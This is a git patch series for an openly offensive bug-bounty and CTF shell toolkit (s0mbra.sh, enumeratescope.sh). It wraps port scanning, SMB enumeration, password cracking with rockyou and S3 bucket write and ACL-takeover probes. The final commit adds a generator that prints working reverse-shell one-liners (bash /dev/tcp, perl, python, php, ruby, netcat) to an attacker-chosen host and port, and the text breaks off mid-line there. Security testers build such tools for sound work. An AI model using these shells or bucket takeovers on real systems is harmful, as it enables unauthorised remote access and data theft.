100755 s0mbra.sh diff --git a/enumeratescope.sh b/enumeratescope.sh new file mode 100755 index 0000000..a587481 --- /dev/null +++ b/enumeratescope.sh @@ -0,0 +1,98 @@ +#!/bin/bash +# Subdomain enumeration and web server discovery + screenshot tools +# +# @author: bl4de +# @licence: MIT +# + + +## create domains/ folder +create_domains_folder() { + if [ ! -d domains ]; then + mkdir domains + echo -e "$(date) domains/ folder created" >> subdomain_enum.log + fi +} + + +## perform sublist3r and amass enumeration on each domain passed as an argument +enumerate_domain() { + local DOMAIN=$1 + echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log + sublister -d $DOMAIN -o domains/$DOMAIN.sublister + amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + + if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then + cat domains/$DOMAIN.* > domains/$DOMAIN.all + sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN + fi + rm -f domains/$DOMAIN.* + echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log +} + +## processing all outputed list of domains into one, removing dups +## and sorting +create_list_of_domains() { + echo -e "$(date) create final list of domains found..." >> subdomain_enum.log + # concatenate and sort all domains from the target + cat domains/*.* > domains/domains.all + sort -u -k 1 domains/domains.all > domains/__domains + # remove odd
left by Sublist3r or amass :P + sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/__domains.final + rm -f domains/domains.all + echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log +} + + +## runs denumerator +run_denumerator() { + echo -e "$(date) denumerator started" >> subdomain_enum.log + denumerator -f domains/__domains.final -c 200,302,403,500 + echo -e "$(date) denumerator finished" >> subdomain_enum.log + echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log +} + + +## performs nmap scan +run_virustotal_enum() { + echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log + # run virustotal.py reverse domain search + virustotal --cidr $CIDR --output domains/virustotal.domains + echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log +} + + +## ----------------------------------------------------------------------------- + +# list of domains - text file, one domain in single line +DOMAINS=$1 + +# IP address range +CIDR=$2 + +echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log + +# enusre that domains/ folder exists, if not create one +create_domains_folder + +if [[ -n $CIDR ]]; then + run_virustotal_enum +fi + +cat $DOMAINS | while read DOMAIN +do + enumerate_domain $DOMAIN +done + +# concatenate and sort all domains from the target +create_list_of_domains +echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" + +# run denumerator on the domains/domains.final output file +run_denumerator + +echo -e "\n[+} DONE." + +## ----------------------------------------------------------------------------- + + diff --git a/hasher.py b/hasher.py index 2cbb2b8..91f9ac0 100755 --- a/hasher.py +++ b/hasher.py @@ -1,5 +1,4 @@ #!/usr/bin/python -### created by bl4de | bloorq@gmail.com | twitter.com/_bl4de ### ### github.com/bl4de | hackerone.com/bl4de ### import sys diff --git a/s0mbra.sh b/s0mbra.sh new file mode 100755 index 0000000..52b474d --- /dev/null +++ b/s0mbra.sh @@ -0,0 +1,391 @@ +#!/bin/bash +# shellcheck disable=SC1087,SC2181,SC2162,SC2013 +### ### +### S0mbra ### +### ### + + +# BugBounty/CTF/PenTest/Hacking suite +# collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. +# CTX: bl4de@wearehackerone.com + +HACKING_HOME="/Users/bl4de/hacking" + +GREEN='\033[1;32m' +GRAY='\033[1;30m' +RED='\033[1;31m' +YELLOW='\033[1;33m' +BLUE='\033[1;34m' +MAGENTA='\033[1;35m' + +CLR='\033[0m' + +__logo=" + :PB@Bk: + ,jB@@B@B@B@BBL. + 7G@B@B@BMMMMMB@B@B@Nr + :kB@B@@@MMOMOMOMOMMMM@B@B@B1, + :5@B@B@B@BBMMOMOMOMOMOMOMM@@@B@B@BBu. + 70@@@B@B@B@BXBBOMOMOMOMOMOMMBMPB@B@B@B@B@Nr + G@@@BJ iB@B@@ OBMOMOMOMOMOMOM@2 B@B@B. EB@B@S + @@BM@GJBU. iSuB@OMOMOMOMOMOMM@OU1: .kBLM@M@B@ + B@MMB@B 7@BBMMOMOMOMOMOBB@: B@BMM@B + @@@B@B 7@@@MMOMOMOMM@B@: @@B@B@ + @@OLB. BNB@MMOMOMM@BEB rBjM@B + @@ @ M OBOMOMM@q M .@ @@ + @@OvB B:u@MMOMOMMBJiB .BvM@B + @B@B@J 0@B@MMOMOMOMB@B@u q@@@B@ + B@MBB@v G@@BMMMMMMMMMMMBB@5 F@BMM@B + @BBM@BPNi LMEB@OMMMM@B@MMOMM@BZM7 rEqB@MBB@ + B@@@BM B@B@B qBMOMB@B@B@BMOMBL B@B@B @B@B@M + J@@@@PB@B@B@B7G@OMBB. ,@MMM@qLB@B@@@BqB@BBv + iGB@,i0@M@B@MMO@E : M@OMM@@@B@Pii@@N: + . B@M@B@MMM@B@B@B@MMM@@@M@B + @B@B.i@MBB@B@B@@BM@::B@B@ + B@@@ .B@B.:@B@ :B@B @B@O + :0 r@B@ B@@ .@B@: P: + vMB :@B@ :BO7 + ,B@B +" + + +# config commands +set_ip() { + export IP="$1" +} + +interactive() { + clear + trap '' SIGINT SIGQUIT SIGTSTP + set_ip "$1" + local choice + echo "$__logo" + echo -e "$BLUE------------------------------------------------------------------" + echo -e "Bl4de's BugBounty/CTF/PenTest/Hacking multi-tool\t\t -> bbbcpthmts :D " + echo -e "------------------------------------------------------------------" + echo -e "Interactive mode\tTarget: $IP" + echo -e "------------------------------------------------------------------" + echo -e "[1]\t\t -> run full nmap scan + -sV -sC on open port(s) " + echo -e "[2]\t\t -> run SMB enumeration (if port 445 is open)" + echo -e "[3]\t\t -> run nfs scan (port 2049 open)" + echo -e "[4]\t\t -> run nikto against HTTP server on port 80 with default plugins" + echo -e "" + echo -e "[0]\t\t -> Quit" + echo -e "------------------------------------------------------------------$CLR" + read -p "Select option:" choice + case $choice in + 1) full_nmap_scan "$IP" ;; + 2) smb_enum "$IP" ;; + 3) nfs_enum "$IP" ;; + 4) nikto -host "$IP" -Plugins tests ;; + 0) exit ;; + *) interactive "$IP" + esac +} + +# runs -p- against IP; then -sV -sC -A against every open port found +full_nmap_scan() { + echo -e "$BLUE[+] Running full nmap scan against $1 ...$CLR" + echo -e "\t\t -> search all open ports..." + ports=$(nmap -Pn -p- --min-rate=1000 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -Pn -n "$1" -oN ./"$1".log + echo -e "[+] Done!" +} + +# runs Python 3 built-in HTTP server on [PORT] +http_server() { + echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" + python3 -m http.server "$1" +} + +# runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] +rockyou_john() { + echo -e "$BLUE[+] Running john with rockyou dictionary against $1 of type $2$CLR" + echo > "$HACKING_HOME"/tools/jtr/run/john.pot + if [[ -n $2 ]]; then + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" + elif [[ -z $2 ]]; then + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + fi + cat "$HACKING_HOME"/tools/jtr/run/john.pot +} + +# converts id_rsa to JTR format for cracking SSH key +ssh_to_john() { + echo -e "$BLUE[+] Converting SSH id_rsa key to JTR format to crack it$CLR" + python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash + echo -e "$BLUE[+] We have a hash.\n" + echo -e "$BLUE[+] Let's now crack it!" + rockyou_john "$1".hash +} + +# static code analysis of npm module installed in ~/node_modules +# with nodestructor and semgrep +npm_scan() { + echo -e "$BLUE[+] Starting static code analysis of $1 module with nodestructor and semgrep...$CLR" + nodestructor -r ~/node_modules/"$1" --verbose --skip-test-files + semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/*.js + exitcode=$(ls "$HOME"/node_modules/"$1"/*/ >/dev/null 2>&1) + if [ "$exitcode" == 0 ]; then + semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/**/*.js + fi + echo -e "\n\n[+]Done." +} + + +# static code analysis of single JavaScript code +javascript_sca() { + echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" + nodestructor --include-browser-patterns --include-urls "$1" + echo -e "\n\n[+]Done." +} + +# exposes folder with Linux PrivEsc tools on localhost:9119 +privesc_tools_linux() { + cd "$HACKING_HOME"/tools/Linux-tools || exit + echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" + http_server 9119 +} + + +# exposes folder with Windows PrivEsc tools on localhost:9119 +privesc_tools_windows() { + cd "$HACKING_HOME"/tools/Windows || exit + echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" + http_server 9119 +} + +# enumerates SMB shares on [IP] - port 445 has to be open +smb_enum() { + if [[ -z $2 ]]; then + username='NULL' + elif [[ -n $2 ]]; then + username="$2" + fi + + if [[ -z $3 ]]; then + password='' + elif [[ -n $3 ]]; then + password="$3" + fi + + echo -e "$BLUE[+] Enumerating SMB shares with nmap on $1...$CLR" + nmap -Pn -p445 --script=smb-enum-shares.nse,smb-enum-users.nse "$1" + echo -e "$YELLOW\n[+] smbmap -u $username -p $password against\t\t -> $1...$CLR" + smbmap -H "$1" -u "$username" -p "$password" 2>&1 | tee __disks + for d in $(grep 'READ' __disks | cut -d' ' -f 1); do + echo -e "$YELLOW\n[+] content of $d directory saved to $1__shares_listings $CLR" + smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings + done + rm -f __disks + echo -e "\n[+] Done." +} + +# download file from SMB share +smb_get_file() { + if [[ -z $2 ]]; then + username='NULL' + elif [[ -n $2 ]]; then + username="$2" + fi + + if [[ -z $3 ]]; then + password='' + elif [[ -n $3 ]]; then + password="$3" + fi + + echo -e "$BLUE[+] Downloading file $4 from $1...$CLR" + echo -e "$GREEN" + smbmap -H "$1" -u "$2" -p "$3" --download "$4" + echo -e "$CLR" + echo -e "\n[+] Done." +} + +# mounts SMB share at ./mnt/shares +smb_mount() { + echo -e "$BLUE[+] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" + mkdir -p mnt/shares + echo "//$3@$1/$2" + mount_smbfs "//$3@$1/$2" ./mnt/shares + echo -e "$YELLOW\n[+] Locally available shares:\n.$CLR" + ls -l ./mnt/shares + echo -e "\n[+] Done." +} + +# umounts from ./mnt/shares and delete it +smb_umount() { + echo -e "$BLUE[+] Unmounting SMB share(s) from ./mnt/shares...$CLR" + umount ./mnt/shares + rm -rf ./mnt + echo -e "\n[+] Done." +} + +# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available +# we can enumerate nfs shares available: +nfs_enum() { + echo -e "$BLUE[+] Enumerating nfs shares (TCP 2049) on $1...$CLR" + nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" + echo -e "\n[+] Done." +} + +# checking AWS S3 bucket +s3() { + echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" + aws s3 ls "s3://$1" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ content of the bucket can be listed!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- could not list the content... :/$CLR" + fi + + touch test.txt + echo 'TEST' >> test.txt + aws s3 cp test.txt "s3://$1/test.txt" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ WOW!!! We can copy files to the bucket!!! PWNed!!!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, cp does not work... :/$CLR" + fi + rm -f test.txt + + declare -a s3api=( + "get-bucket-acl" + "put-bucket-acl" + "get-bucket-website" + "get-bucket-cors" + "get-bucket-lifecycle-configuration" + "get-bucket-policy" + "list-bucket-metrics-configurations" + "list-multipart-uploads" + "list-object-versions" + "list-objects" + ) + for cmd in "${s3api[@]}"; do + aws s3api "$cmd" --bucket "$1" --no-sign-request 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ $cmd works!$CLR\n" + aws s3api "$cmd" --bucket "$1" --no-sign-request + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, $cmd does not seem to be working... :/$CLR" + fi + done + + aws s3api put-bucket-acl --bucket "$1" --grant-full-control emailaddress=bl4de@wearehackerone.com 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ We can grant full control!!! PWNed!!!$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" + fi + echo -e "\n[+] Done." +} + +s3go() { + clear + echo -e "$BLUE[+] Getting $2 from $1 bucket...$CLR" + + aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ We can read ACL of $3$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- can't check $2 ACL... :/$CLR" + fi + + aws s3api get-object --bucket "$1" --key "$2" "$1".downloaded 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ $2 downloaded in current directory as $2.downloaded$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- can't get $2 :/$CLR" + fi +} + +cmd=$1 +clear +echo "$__logo" +case "$cmd" in + set_ip) + set_ip "$2" + ;; + full_nmap_scan) + full_nmap_scan "$2" + ;; + http_server) + http_server "$2" + ;; + rockyou_john) + rockyou_john "$2" "$3" + ;; + ssh_to_john) + ssh_to_john "$2" + ;; + npm_scan) + npm_scan "$2" + ;; + javascript_sca) + javascript_sca "$2" + ;; + privesc_tools_linux) + privesc_tools_linux + ;; + privesc_tools_windows) + privesc_tools_windows + ;; + smb_enum) + smb_enum "$2" "$3" "$4" + ;; + smb_get_file) + smb_get_file "$2" "$3" "$4" "$5" + ;; + smb_mount) + smb_mount "$2" "$3" "$4" + ;; + smb_umount) + smb_umount + ;; + nfs_enum) + nfs_enum "$2" + ;; + s3) + s3 "$2" + ;; + s3go) + s3go "$2" "$3" + ;; + interactive) + interactive "$2" + ;; + *) + clear + echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" + echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" + echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD + echo -e "\nAvailable commands:" + echo -e "\n::$BLUE COMMANDS IN FOR INTERACTIVE MODE ::$CLR" + echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other bbbcpthmts commands" + echo -e "\n::$BLUE RECON ::$CLR" + echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" + echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "\n::$BLUE AMAZON AWS S3 ::$CLR" + echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "\n::$BLUE TOOLS ::$CLR" + echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" + echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" + echo -e "\n::$BLUE SMB SUITE ::$CLR" + echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" + echo -e "\tsmb_mount [IP] [SHARE] [USER]\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "\tsmb_umount\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "\n::$BLUE PASSWORDS CRACKIN' ::$CLR" + echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" + echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "\n::$BLUE STATIC CODE ANALYSIS ::$CLR" + echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor and semgrep" + echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor and semgrep" + echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + echo -e "$GREEN\nHack The Planet!\n$CLR" + ;; +esac From 63f09469e82cb1b3d01c2774c448fb1a044b2777 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 20 Aug 2020 02:16:24 +0100 Subject: [PATCH 055/369] s0mbra: helpers for APKs --- s0mbra.sh | 32 ++++++++++++++++++++++++++++++-- 1 file changed, 30 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 52b474d..d8f527b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -300,6 +300,26 @@ s3go() { fi } +dex_to_jar() { + clear + echo -e "$BLUE[+] Exporting $1 into .jar...$CLR" + d2j-dex2jar --force $1 + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ Ok, we have JAR, now opening it in JD-Gui...$CLR" + DEX_FILENAME=$(echo "$1"| cut -d'.' -f 1) + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar "$DEX_FILENAME"-dex2jar.jar + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- there was an error and .jar file probably was not created :/... :/$CLR" + fi +} + +decompile_jar() { + clear + echo -e "$BLUE[+] Opening $1 in JD-Gui...$CLR" + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 +} + + cmd=$1 clear echo "$__logo" @@ -325,6 +345,12 @@ case "$cmd" in javascript_sca) javascript_sca "$2" ;; + dex_to_jar) + dex_to_jar "$2" + ;; + decompile_jar) + decompile_jar "$2" + ;; privesc_tools_linux) privesc_tools_linux ;; @@ -383,8 +409,10 @@ case "$cmd" in echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\n::$BLUE STATIC CODE ANALYSIS ::$CLR" - echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor and semgrep" - echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor and semgrep" + echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" + echo -e "\tdecompile_jar [.jar FILE]\t\t\t\t -> open FILE.jar file in JD-Gui" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN\nHack The Planet!\n$CLR" ;; From e7e5c0e1c4d1f3885c5deccad5f0aab4ed37bc39 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 20 Aug 2020 02:22:19 +0100 Subject: [PATCH 056/369] s0mbra: unzip APK + apktool APK --- s0mbra.sh | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index d8f527b..632b92e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -319,6 +319,18 @@ decompile_jar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +apk() { + clear + echo -e "$BLUE[+] OK, let's see this APK...$CLR" + unzip $1 + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" + apktool d $1 + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- unzipping .apk failed :/... :/$CLR" + fi +} + cmd=$1 clear @@ -348,6 +360,9 @@ case "$cmd" in dex_to_jar) dex_to_jar "$2" ;; + apk) + apk "$2" + ;; decompile_jar) decompile_jar "$2" ;; @@ -388,7 +403,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD echo -e "\nAvailable commands:" - echo -e "\n::$BLUE COMMANDS IN FOR INTERACTIVE MODE ::$CLR" + echo -e "\n::$BLUE COMMANDS IN INTERACTIVE MODE ::$CLR" echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other bbbcpthmts commands" echo -e "\n::$BLUE RECON ::$CLR" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" @@ -412,7 +427,8 @@ case "$cmd" in echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" - echo -e "\tdecompile_jar [.jar FILE]\t\t\t\t -> open FILE.jar file in JD-Gui" + echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" + echo -e "\tdecompile_jar [.jar FILE]\t\t\t -> open FILE.jar file in JD-Gui" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN\nHack The Planet!\n$CLR" ;; From fde5c2787656f3da02974b24a9989c0b1d641f1a Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 27 Aug 2020 12:05:57 +0100 Subject: [PATCH 057/369] [enumeratescope] use amass config with API keys --- diggit/src/diggit.py | 9 +-------- enumeratescope.sh | 3 ++- 2 files changed, 3 insertions(+), 9 deletions(-) diff --git a/diggit/src/diggit.py b/diggit/src/diggit.py index 96e87fd..ea52f3a 100755 --- a/diggit/src/diggit.py +++ b/diggit/src/diggit.py @@ -26,14 +26,7 @@ def print_banner(): """Prints credits :)""" - print "\n\n", "#" * 78 - print "###", " " * 70, "###" - print "###", " " * 70, "###" - print "### diggit.py | Twitter: @_bl4de " \ - "| GitHub: bl4de ###" - print "###", " " * 70, "###" - print "###", " " * 70, "###" - print "#" * 78 + pass def print_object_details(objtype, objcontent, objhash, objfilename): diff --git a/enumeratescope.sh b/enumeratescope.sh index a587481..f6b96f4 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -5,6 +5,7 @@ # @licence: MIT # +HOME=/Users/bl4de ## create domains/ folder create_domains_folder() { @@ -20,7 +21,7 @@ enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister - amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all From 78cc8b60cb46c4a9c93ff842010a1ce8e1127bd1 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 1 Sep 2020 00:54:47 +0100 Subject: [PATCH 058/369] [s0mbra] list available tools when priv_esc command is run --- s0mbra.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 632b92e..dc8fbe7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -144,6 +144,8 @@ javascript_sca() { # exposes folder with Linux PrivEsc tools on localhost:9119 privesc_tools_linux() { cd "$HACKING_HOME"/tools/Linux-tools || exit + echo -e "$BLUE[+] Available tools:$CLR" + tree -L 2 . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" http_server 9119 } @@ -152,6 +154,8 @@ privesc_tools_linux() { # exposes folder with Windows PrivEsc tools on localhost:9119 privesc_tools_windows() { cd "$HACKING_HOME"/tools/Windows || exit + echo -e "$BLUE[+] Available tools:$CLR" + ls -lR . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" http_server 9119 } From fbc2f71dc338f4be123ce07c18c93df8425fface Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 21 Sep 2020 22:58:24 +0100 Subject: [PATCH 059/369] [nodestructor] dangerouslySetInnerHTML fix --- nodestructor/nodestructor.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 9c7d0bf..cc775df 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -107,8 +107,8 @@ ".*\.replaceWith\(", ".*\.wrap\(", ".*\.wrapAll\(", - ".*\.dangerouslySetInnerHTML\(", - ".*\.bypassSecurityTrust.*\(", + ".*\.dangerouslySetInnerHTML", + ".*\.bypassSecurityTrust.*", ".*localStorage\.", ".*sessionStorage\.", ".*\$sce\.trustAsHtml\(", From 7f6648f405e06eb59830bdca29bf86eefae61b6e Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 21 Sep 2020 23:06:39 +0100 Subject: [PATCH 060/369] [s0mbra] generate_shells (inspired by/CREDITS: @spyx https://github.com/spyx/monkey-shell) --- s0mbra.sh | 38 +++++++++++++++++++++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index dc8fbe7..59537c9 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -19,6 +19,8 @@ BLUE='\033[1;34m' MAGENTA='\033[1;35m' CLR='\033[0m' +NEWLINE='\n' + __logo=" :PB@Bk: @@ -335,6 +337,36 @@ apk() { fi } +generate_shells() { + clear + port=$2 + + echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" + + echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "\033[41m[bash]\033[0m exec 5<>/dev/tcp/$1/$port | cat <&5 | while read line; do $line 2>&5 >&5; done" + echo -e "$NEWLINE" + echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[42m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "$NEWLINE" + echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"\033[0m);'" + echo -e "$NEWLINE" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "$NEWLINE" + echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "$NEWLINE" + echo -e "\033[46m[netcat]\033[0m nc -e /bin/sh $1 $port" + echo -e "\033[46m[netcat]\033[0m nc -c /bin/sh $1 $port" + echo -e "\033[46m[netcat]\033[0m /bin/sh | nc $1 $port" + echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port 